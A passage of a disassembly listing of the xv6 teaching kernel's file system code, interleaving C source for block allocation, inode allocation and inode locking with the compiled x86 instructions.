8010120c: e8 bf ee ff ff call 801000d0 <bread>
bi = b % BPB;
m = 1 << (bi % 8);
80101211: 89 f1 mov %esi,%ecx
80101213: be 01 00 00 00 mov $0x1,%esi
80101218: 83 e1 07 and $0x7,%ecx
8010121b: d3 e6 shl %cl,%esi
if((bp->data[bi/8] & m) == 0)
8010121d: 0f b6 54 18 5c movzbl 0x5c(%eax,%ebx,1),%edx
bfree(int dev, uint b)
{
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
80101222: 89 c7 mov %eax,%edi
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
80101224: 0f b6 c2 movzbl %dl,%eax
80101227: 85 f0 test %esi,%eax
80101229: 74 27 je 80101252 <bfree+0x72>
panic("freeing free block");
bp->data[bi/8] &= ~m;
8010122b: 89 f0 mov %esi,%eax
8010122d: f7 d0 not %eax
8010122f: 21 d0 and %edx,%eax
80101231: 88 44 1f 5c mov %al,0x5c(%edi,%ebx,1)
log_write(bp);
80101235: 89 3c 24 mov %edi,(%esp)
80101238: e8 d3 1a 00 00 call 80102d10 <log_write>
brelse(bp);
8010123d: 89 3c 24 mov %edi,(%esp)
80101240: e8 9b ef ff ff call 801001e0 <brelse>
}
80101245: 8b 5d f4 mov -0xc(%ebp),%ebx
80101248: 8b 75 f8 mov -0x8(%ebp),%esi
8010124b: 8b 7d fc mov -0x4(%ebp),%edi
8010124e: 89 ec mov %ebp,%esp
80101250: 5d pop %ebp
80101251: c3 ret
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
panic("freeing free block");
80101252: c7 04 24 0f 6e 10 80 movl $0x80106e0f,(%esp)
80101259: e8 12 f1 ff ff call 80100370 <panic>
8010125e: 66 90 xchg %ax,%ax
80101260 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
80101260: 55 push %ebp
80101261: 89 e5 mov %esp,%ebp
80101263: 57 push %edi
80101264: 56 push %esi
80101265: 53 push %ebx
80101266: 83 ec 3c sub $0x3c,%esp
80101269: 89 45 d8 mov %eax,-0x28(%ebp)
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
8010126c: a1 c0 09 11 80 mov 0x801109c0,%eax
80101271: 85 c0 test %eax,%eax
80101273: 0f 84 90 00 00 00 je 80101309 <balloc+0xa9>
80101279: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
80101280: 8b 45 dc mov -0x24(%ebp),%eax
80101283: c1 f8 0c sar $0xc,%eax
80101286: 03 05 d8 09 11 80 add 0x801109d8,%eax
8010128c: 89 44 24 04 mov %eax,0x4(%esp)
80101290: 8b 45 d8 mov -0x28(%ebp),%eax
80101293: 89 04 24 mov %eax,(%esp)
80101296: e8 35 ee ff ff call 801000d0 <bread>
8010129b: 8b 15 c0 09 11 80 mov 0x801109c0,%edx
801012a1: 8b 5d dc mov -0x24(%ebp),%ebx
801012a4: 89 55 e0 mov %edx,-0x20(%ebp)
801012a7: 89 45 e4 mov %eax,-0x1c(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801012aa: 31 c0 xor %eax,%eax
801012ac: eb 35 jmp 801012e3 <balloc+0x83>
801012ae: 66 90 xchg %ax,%ax
m = 1 << (bi % 8);
801012b0: 89 c1 mov %eax,%ecx
801012b2: bf 01 00 00 00 mov $0x1,%edi
801012b7: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
801012ba: 89 c2 mov %eax,%edx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
801012bc: d3 e7 shl %cl,%edi
if((bp->data[bi/8] & m) == 0){ // Is block free?
801012be: 8b 4d e4 mov -0x1c(%ebp),%ecx
801012c1: c1 fa 03 sar $0x3,%edx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
801012c4: 89 7d d4 mov %edi,-0x2c(%ebp)
if((bp->data[bi/8] & m) == 0){ // Is block free?
801012c7: 0f b6 74 11 5c movzbl 0x5c(%ecx,%edx,1),%esi
801012cc: 89 f1 mov %esi,%ecx
801012ce: 0f b6 f9 movzbl %cl,%edi
801012d1: 85 7d d4 test %edi,-0x2c(%ebp)
801012d4: 74 42 je 80101318 <balloc+0xb8>
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801012d6: 83 c0 01 add $0x1,%eax
801012d9: 83 c3 01 add $0x1,%ebx
801012dc: 3d 00 10 00 00 cmp $0x1000,%eax
801012e1: 74 05 je 801012e8 <balloc+0x88>
801012e3: 3b 5d e0 cmp -0x20(%ebp),%ebx
801012e6: 72 c8 jb 801012b0 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
801012e8: 8b 45 e4 mov -0x1c(%ebp),%eax
801012eb: 89 04 24 mov %eax,(%esp)
801012ee: e8 ed ee ff ff call 801001e0 <brelse>
{
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
801012f3: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
801012fa: 8b 55 dc mov -0x24(%ebp),%edx
801012fd: 3b 15 c0 09 11 80 cmp 0x801109c0,%edx
80101303: 0f 82 77 ff ff ff jb 80101280 <balloc+0x20>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
80101309: c7 04 24 22 6e 10 80 movl $0x80106e22,(%esp)
80101310: e8 5b f0 ff ff call 80100370 <panic>
80101315: 8d 76 00 lea 0x0(%esi),%esi
80101318: 8b 4d d4 mov -0x2c(%ebp),%ecx
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
bp->data[bi/8] |= m; // Mark block in use.
8010131b: 8b 45 e4 mov -0x1c(%ebp),%eax
8010131e: 09 f1 or %esi,%ecx
80101320: 88 4c 10 5c mov %cl,0x5c(%eax,%edx,1)
log_write(bp);
80101324: 89 04 24 mov %eax,(%esp)
80101327: e8 e4 19 00 00 call 80102d10 <log_write>
brelse(bp);
8010132c: 8b 45 e4 mov -0x1c(%ebp),%eax
8010132f: 89 04 24 mov %eax,(%esp)
80101332: e8 a9 ee ff ff call 801001e0 <brelse>
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
80101337: 8b 45 d8 mov -0x28(%ebp),%eax
8010133a: 89 5c 24 04 mov %ebx,0x4(%esp)
8010133e: 89 04 24 mov %eax,(%esp)
80101341: e8 8a ed ff ff call 801000d0 <bread>
memset(bp->data, 0, BSIZE);
80101346: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
8010134d: 00
8010134e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101355: 00
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
80101356: 89 c6 mov %eax,%esi
memset(bp->data, 0, BSIZE);
80101358: 8d 40 5c lea 0x5c(%eax),%eax
8010135b: 89 04 24 mov %eax,(%esp)
8010135e: e8 dd 2f 00 00 call 80104340 <memset>
log_write(bp);
80101363: 89 34 24 mov %esi,(%esp)
80101366: e8 a5 19 00 00 call 80102d10 <log_write>
brelse(bp);
8010136b: 89 34 24 mov %esi,(%esp)
8010136e: e8 6d ee ff ff call 801001e0 <brelse>
}
}
brelse(bp);
}
panic("balloc: out of blocks");
}
80101373: 83 c4 3c add $0x3c,%esp
80101376: 89 d8 mov %ebx,%eax
80101378: 5b pop %ebx
80101379: 5e pop %esi
8010137a: 5f pop %edi
8010137b: 5d pop %ebp
8010137c: c3 ret
8010137d: 8d 76 00 lea 0x0(%esi),%esi
80101380 <bmap.part.0>:
// listed in block ip->addrs[NDIRECT].
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
80101380: 55 push %ebp
80101381: 89 e5 mov %esp,%ebp
80101383: 83 ec 38 sub $0x38,%esp
80101386: 89 7d fc mov %edi,-0x4(%ebp)
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
return addr;
}
bn -= NDIRECT;
80101389: 8d 7a f4 lea -0xc(%edx),%edi
if(bn < NINDIRECT){
8010138c: 83 ff 7f cmp $0x7f,%edi
// listed in block ip->addrs[NDIRECT].
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
8010138f: 89 5d f4 mov %ebx,-0xc(%ebp)
80101392: 89 c3 mov %eax,%ebx
80101394: 89 75 f8 mov %esi,-0x8(%ebp)
ip->addrs[bn] = addr = balloc(ip->dev);
return addr;
}
bn -= NDIRECT;
if(bn < NINDIRECT){
80101397: 77 66 ja 801013ff <bmap.part.0+0x7f>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101399: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
8010139f: 85 c0 test %eax,%eax
801013a1: 74 4d je 801013f0 <bmap.part.0+0x70>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
801013a3: 89 44 24 04 mov %eax,0x4(%esp)
801013a7: 8b 03 mov (%ebx),%eax
801013a9: 89 04 24 mov %eax,(%esp)
801013ac: e8 1f ed ff ff call 801000d0 <bread>
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
801013b1: 8d 7c b8 5c lea 0x5c(%eax,%edi,4),%edi
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
801013b5: 89 c6 mov %eax,%esi
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
801013b7: 8b 07 mov (%edi),%eax
801013b9: 85 c0 test %eax,%eax
801013bb: 75 17 jne 801013d4 <bmap.part.0+0x54>
a[bn] = addr = balloc(ip->dev);
801013bd: 8b 03 mov (%ebx),%eax
801013bf: e8 9c fe ff ff call 80101260 <balloc>
801013c4: 89 07 mov %eax,(%edi)
log_write(bp);
801013c6: 89 45 e4 mov %eax,-0x1c(%ebp)
801013c9: 89 34 24 mov %esi,(%esp)
801013cc: e8 3f 19 00 00 call 80102d10 <log_write>
801013d1: 8b 45 e4 mov -0x1c(%ebp),%eax
}
brelse(bp);
801013d4: 89 34 24 mov %esi,(%esp)
801013d7: 89 45 e4 mov %eax,-0x1c(%ebp)
801013da: e8 01 ee ff ff call 801001e0 <brelse>
return addr;
}
panic("bmap: out of range");
}
801013df: 8b 45 e4 mov -0x1c(%ebp),%eax
801013e2: 8b 5d f4 mov -0xc(%ebp),%ebx
801013e5: 8b 75 f8 mov -0x8(%ebp),%esi
801013e8: 8b 7d fc mov -0x4(%ebp),%edi
801013eb: 89 ec mov %ebp,%esp
801013ed: 5d pop %ebp
801013ee: c3 ret
801013ef: 90 nop
bn -= NDIRECT;
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
801013f0: 8b 03 mov (%ebx),%eax
801013f2: e8 69 fe ff ff call 80101260 <balloc>
801013f7: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx)
801013fd: eb a4 jmp 801013a3 <bmap.part.0+0x23>
}
brelse(bp);
return addr;
}
panic("bmap: out of range");
801013ff: c7 04 24 38 6e 10 80 movl $0x80106e38,(%esp)
80101406: e8 65 ef ff ff call 80100370 <panic>
8010140b: 90 nop
8010140c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101410 <readsb>:
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
80101410: 55 push %ebp
80101411: 89 e5 mov %esp,%ebp
80101413: 83 ec 18 sub $0x18,%esp
struct buf *bp;
bp = bread(dev, 1);
80101416: 8b 45 08 mov 0x8(%ebp),%eax
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
80101419: 89 5d f8 mov %ebx,-0x8(%ebp)
8010141c: 89 75 fc mov %esi,-0x4(%ebp)
8010141f: 8b 75 0c mov 0xc(%ebp),%esi
struct buf *bp;
bp = bread(dev, 1);
80101422: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80101429: 00
8010142a: 89 04 24 mov %eax,(%esp)
8010142d: e8 9e ec ff ff call 801000d0 <bread>
memmove(sb, bp->data, sizeof(*sb));
80101432: 89 34 24 mov %esi,(%esp)
80101435: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp)
8010143c: 00
void
readsb(int dev, struct superblock *sb)
{
struct buf *bp;
bp = bread(dev, 1);
8010143d: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
8010143f: 8d 40 5c lea 0x5c(%eax),%eax
80101442: 89 44 24 04 mov %eax,0x4(%esp)
80101446: e8 b5 2f 00 00 call 80104400 <memmove>
brelse(bp);
}
8010144b: 8b 75 fc mov -0x4(%ebp),%esi
{
struct buf *bp;
bp = bread(dev, 1);
memmove(sb, bp->data, sizeof(*sb));
brelse(bp);
8010144e: 89 5d 08 mov %ebx,0x8(%ebp)
}
80101451: 8b 5d f8 mov -0x8(%ebp),%ebx
80101454: 89 ec mov %ebp,%esp
80101456: 5d pop %ebp
{
struct buf *bp;
bp = bread(dev, 1);
memmove(sb, bp->data, sizeof(*sb));
brelse(bp);
80101457: e9 84 ed ff ff jmp 801001e0 <brelse>
8010145c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101460 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
80101460: 55 push %ebp
80101461: 89 e5 mov %esp,%ebp
80101463: 53 push %ebx
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
80101464: 31 db xor %ebx,%ebx
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
80101466: 83 ec 24 sub $0x24,%esp
int i = 0;
initlock(&icache.lock, "icache");
80101469: c7 44 24 04 4b 6e 10 movl $0x80106e4b,0x4(%esp)
80101470: 80
80101471: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101478: e8 93 2c 00 00 call 80104110 <initlock>
8010147d: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < NINODE; i++) {
initsleeplock(&icache.inode[i].lock, "inode");
80101480: 8d 04 db lea (%ebx,%ebx,8),%eax
iinit(int dev)
{
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
80101483: 83 c3 01 add $0x1,%ebx
initsleeplock(&icache.inode[i].lock, "inode");
80101486: c1 e0 04 shl $0x4,%eax
80101489: 05 20 0a 11 80 add $0x80110a20,%eax
8010148e: c7 44 24 04 52 6e 10 movl $0x80106e52,0x4(%esp)
80101495: 80
80101496: 89 04 24 mov %eax,(%esp)
80101499: e8 42 2b 00 00 call 80103fe0 <initsleeplock>
iinit(int dev)
{
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
8010149e: 83 fb 32 cmp $0x32,%ebx
801014a1: 75 dd jne 80101480 <iinit+0x20>
initsleeplock(&icache.inode[i].lock, "inode");
}
readsb(dev, &sb);
801014a3: 8b 45 08 mov 0x8(%ebp),%eax
801014a6: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp)
801014ad: 80
801014ae: 89 04 24 mov %eax,(%esp)
801014b1: e8 5a ff ff ff call 80101410 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801014b6: a1 d8 09 11 80 mov 0x801109d8,%eax
801014bb: c7 04 24 b8 6e 10 80 movl $0x80106eb8,(%esp)
801014c2: 89 44 24 1c mov %eax,0x1c(%esp)
801014c6: a1 d4 09 11 80 mov 0x801109d4,%eax
801014cb: 89 44 24 18 mov %eax,0x18(%esp)
801014cf: a1 d0 09 11 80 mov 0x801109d0,%eax
801014d4: 89 44 24 14 mov %eax,0x14(%esp)
801014d8: a1 cc 09 11 80 mov 0x801109cc,%eax
801014dd: 89 44 24 10 mov %eax,0x10(%esp)
801014e1: a1 c8 09 11 80 mov 0x801109c8,%eax
801014e6: 89 44 24 0c mov %eax,0xc(%esp)
801014ea: a1 c4 09 11 80 mov 0x801109c4,%eax
801014ef: 89 44 24 08 mov %eax,0x8(%esp)
801014f3: a1 c0 09 11 80 mov 0x801109c0,%eax
801014f8: 89 44 24 04 mov %eax,0x4(%esp)
801014fc: e8 4f f1 ff ff call 80100650 <cprintf>
inodestart %d bmap start %d\n", sb.size, sb.nblocks,
sb.ninodes, sb.nlog, sb.logstart, sb.inodestart,
sb.bmapstart);
}
80101501: 83 c4 24 add $0x24,%esp
80101504: 5b pop %ebx
80101505: 5d pop %ebp
80101506: c3 ret
80101507: 89 f6 mov %esi,%esi
80101509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101510 <ialloc>:
// Allocate an inode on device dev.
// Mark it as allocated by giving it type type.
// Returns an unlocked but allocated and referenced inode.
struct inode*
ialloc(uint dev, short type)
{
80101510: 55 push %ebp
80101511: 89 e5 mov %esp,%ebp
80101513: 57 push %edi
80101514: 56 push %esi
80101515: 53 push %ebx
80101516: 83 ec 2c sub $0x2c,%esp
80101519: 8b 45 08 mov 0x8(%ebp),%eax
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010151c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8
// Allocate an inode on device dev.
// Mark it as allocated by giving it type type.
// Returns an unlocked but allocated and referenced inode.
struct inode*
ialloc(uint dev, short type)
{
80101523: 89 45 e4 mov %eax,-0x1c(%ebp)
80101526: 0f b7 45 0c movzwl 0xc(%ebp),%eax
8010152a: 66 89 45 e2 mov %ax,-0x1e(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010152e: 0f 86 95 00 00 00 jbe 801015c9 <ialloc+0xb9>
80101534: be 01 00 00 00 mov $0x1,%esi
80101539: bb 01 00 00 00 mov $0x1,%ebx
8010153e: eb 15 jmp 80101555 <ialloc+0x45>
80101540: 83 c3 01 add $0x1,%ebx
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101543: 89 3c 24 mov %edi,(%esp)
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101546: 89 de mov %ebx,%esi
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101548: e8 93 ec ff ff call 801001e0 <brelse>
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010154d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx
80101553: 73 74 jae 801015c9 <ialloc+0xb9>
bp = bread(dev, IBLOCK(inum, sb));
80101555: 89 f0 mov %esi,%eax
80101557: c1 e8 03 shr $0x3,%eax
8010155a: 03 05 d4 09 11 80 add 0x801109d4,%eax
80101560: 89 44 24 04 mov %eax,0x4(%esp)
80101564: 8b 45 e4 mov -0x1c(%ebp),%eax
80101567: 89 04 24 mov %eax,(%esp)
8010156a: e8 61 eb ff ff call 801000d0 <bread>
8010156f: 89 c7 mov %eax,%edi
dip = (struct dinode*)bp->data + inum%IPB;
80101571: 89 f0 mov %esi,%eax
80101573: 83 e0 07 and $0x7,%eax
80101576: c1 e0 06 shl $0x6,%eax
80101579: 8d 54 07 5c lea 0x5c(%edi,%eax,1),%edx
if(dip->type == 0){ // a free inode
8010157d: 66 83 3a 00 cmpw $0x0,(%edx)
80101581: 75 bd jne 80101540 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101583: 89 14 24 mov %edx,(%esp)
80101586: 89 55 dc mov %edx,-0x24(%ebp)
80101589: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
80101590: 00
80101591: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101598: 00
80101599: e8 a2 2d 00 00 call 80104340 <memset>
dip->type = type;
8010159e: 8b 55 dc mov -0x24(%ebp),%edx
801015a1: 0f b7 45 e2 movzwl -0x1e(%ebp),%eax
801015a5: 66 89 02 mov %ax,(%edx)
log_write(bp); // mark it allocated on the disk
801015a8: 89 3c 24 mov %edi,(%esp)
801015ab: e8 60 17 00 00 call 80102d10 <log_write>
brelse(bp);
801015b0: 89 3c 24 mov %edi,(%esp)
801015b3: e8 28 ec ff ff call 801001e0 <brelse>
return iget(dev, inum);
801015b8: 8b 45 e4 mov -0x1c(%ebp),%eax
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015bb: 83 c4 2c add $0x2c,%esp
801015be: 5b pop %ebx
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015bf: 89 f2 mov %esi,%edx
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015c1: 5e pop %esi
801015c2: 5f pop %edi
801015c3: 5d pop %ebp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015c4: e9 57 fb ff ff jmp 80101120 <iget>
}
brelse(bp);
}
panic("ialloc: no inodes");
801015c9: c7 04 24 58 6e 10 80 movl $0x80106e58,(%esp)
801015d0: e8 9b ed ff ff call 80100370 <panic>
801015d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801015d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801015e0 <iupdate>:
// Must be called after every change to an ip->xxx field
// that lives on disk, since i-node cache is write-through.
// Caller must hold ip->lock.
void
iupdate(struct inode *ip)
{
801015e0: 55 push %ebp
801015e1: 89 e5 mov %esp,%ebp
801015e3: 56 push %esi
801015e4: 53 push %ebx
801015e5: 83 ec 10 sub $0x10,%esp
801015e8: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015eb: 8b 43 04 mov 0x4(%ebx),%eax
801015ee: c1 e8 03 shr $0x3,%eax
801015f1: 03 05 d4 09 11 80 add 0x801109d4,%eax
801015f7: 89 44 24 04 mov %eax,0x4(%esp)
801015fb: 8b 03 mov (%ebx),%eax
801015fd: 89 04 24 mov %eax,(%esp)
80101600: e8 cb ea ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
80101605: 0f b7 53 50 movzwl 0x50(%ebx),%edx
iupdate(struct inode *ip)
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101609: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
8010160b: 8b 43 04 mov 0x4(%ebx),%eax
8010160e: 83 e0 07 and $0x7,%eax
80101611: c1 e0 06 shl $0x6,%eax
80101614: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
dip->type = ip->type;
80101618: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
8010161b: 0f b7 53 52 movzwl 0x52(%ebx),%edx
8010161f: 66 89 50 02 mov %dx,0x2(%eax)
dip->minor = ip->minor;
80101623: 0f b7 53 54 movzwl 0x54(%ebx),%edx
80101627: 66 89 50 04 mov %dx,0x4(%eax)
dip->nlink = ip->nlink;
8010162b: 0f b7 53 56 movzwl 0x56(%ebx),%edx
8010162f: 66 89 50 06 mov %dx,0x6(%eax)
dip->size = ip->size;
80101633: 8b 53 58 mov 0x58(%ebx),%edx
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101636: 83 c3 5c add $0x5c,%ebx
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
80101639: 89 50 08 mov %edx,0x8(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010163c: 83 c0 0c add $0xc,%eax
8010163f: 89 5c 24 04 mov %ebx,0x4(%esp)
80101643: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010164a: 00
8010164b: 89 04 24 mov %eax,(%esp)
8010164e: e8 ad 2d 00 00 call 80104400 <memmove>
log_write(bp);
80101653: 89 34 24 mov %esi,(%esp)
80101656: e8 b5 16 00 00 call 80102d10 <log_write>
brelse(bp);
8010165b: 89 75 08 mov %esi,0x8(%ebp)
}
8010165e: 83 c4 10 add $0x10,%esp
80101661: 5b pop %ebx
80101662: 5e pop %esi
80101663: 5d pop %ebp
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
log_write(bp);
brelse(bp);
80101664: e9 77 eb ff ff jmp 801001e0 <brelse>
80101669: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101670 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
80101670: 55 push %ebp
80101671: 89 e5 mov %esp,%ebp
80101673: 53 push %ebx
80101674: 83 ec 14 sub $0x14,%esp
80101677: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010167a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101681: e8 fa 2b 00 00 call 80104280 <acquire>
ip->ref++;
80101686: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
8010168a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101691: e8 5a 2c 00 00 call 801042f0 <release>
return ip;
}
80101696: 83 c4 14 add $0x14,%esp
80101699: 89 d8 mov %ebx,%eax
8010169b: 5b pop %ebx
8010169c: 5d pop %ebp
8010169d: c3 ret
8010169e: 66 90 xchg %ax,%ax
801016a0 <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
801016a0: 55 push %ebp
801016a1: 89 e5 mov %esp,%ebp
801016a3: 56 push %esi
801016a4: 53 push %ebx
801016a5: 83 ec 10 sub $0x10,%esp
801016a8: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
801016ab: 85 db test %ebx,%ebx
801016ad: 0f 84 b3 00 00 00 je 80101766 <ilock+0xc6>
801016b3: 8b 4b 08 mov 0x8(%ebx),%ecx
801016b6: 85 c9 test %ecx,%ecx
801016b8: 0f 8e a8 00 00 00 jle 80101766 <ilock+0xc6>
panic("ilock");
acquiresleep(&ip->lock);
801016be: 8d 43 0c lea 0xc(%ebx),%eax
801016c1: 89 04 24 mov %eax,(%esp)
801016c4: e8 57 29 00 00 call 80104020 <acquiresleep>
if(ip->valid == 0){
801016c9: 8b 53 4c mov 0x4c(%ebx),%edx
801016cc: 85 d2 test %edx,%edx
801016ce: 74 08 je 801016d8 <ilock+0x38>
brelse(bp);
ip->valid = 1;
if(ip->type == 0)
panic("ilock: no type");
}
}
801016d0: 83 c4 10 add $0x10,%esp
801016d3: 5b pop %ebx
801016d4: 5e pop %esi
801016d5: 5d pop %ebp
801016d6: c3 ret
801016d7: 90 nop
panic("ilock");
acquiresleep(&ip->lock);
if(ip->valid == 0){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016d8: 8b 43 04 mov 0x4(%ebx),%eax
801016db: c1 e8 03 shr $0x3,%eax
801016de: 03 05 d4 09 11 80 add 0x801109d4,%eax
801016e4: 89 44 24 04 mov %eax,0x4(%esp)
801016e8: 8b 03 mov (%ebx),%eax
801016ea: 89 04 24 mov %eax,(%esp)
801016ed: e8 de e9 ff ff call 801000d0 <bread>
801016f2: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016f4: 8b 43 04 mov 0x4(%ebx),%eax
801016f7: 83 e0 07 and $0x7,%eax
801016fa: c1 e0 06 shl $0x6,%eax
801016fd: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
ip->type = dip->type;
80101701: 0f b7 10 movzwl (%eax),%edx
80101704: 66 89 53 50 mov %dx,0x50(%ebx)
ip->major = dip->major;
80101708: 0f b7 50 02 movzwl 0x2(%eax),%edx
8010170c: 66 89 53 52 mov %dx,0x52(%ebx)
ip->minor = dip->minor;
80101710: 0f b7 50 04 movzwl 0x4(%eax),%edx
80101714: 66 89 53 54 mov %dx,0x54(%ebx)
ip->nlink = dip->nlink;
80101718: 0f b7 50 06 movzwl 0x6(%eax),%edx
8010171c: 66 89 53 56 mov %dx,0x56(%ebx)
ip->size = dip->size;
80101720: 8b 50 08 mov 0x8(%eax),%edx
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101723: 83 c0 0c add $0xc,%eax
dip = (struct dinode*)bp->data + ip->inum%IPB;
ip->type = dip->type;
ip->major = dip->major;
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
80101726: 89 53 58 mov %edx,0x58(%ebx)
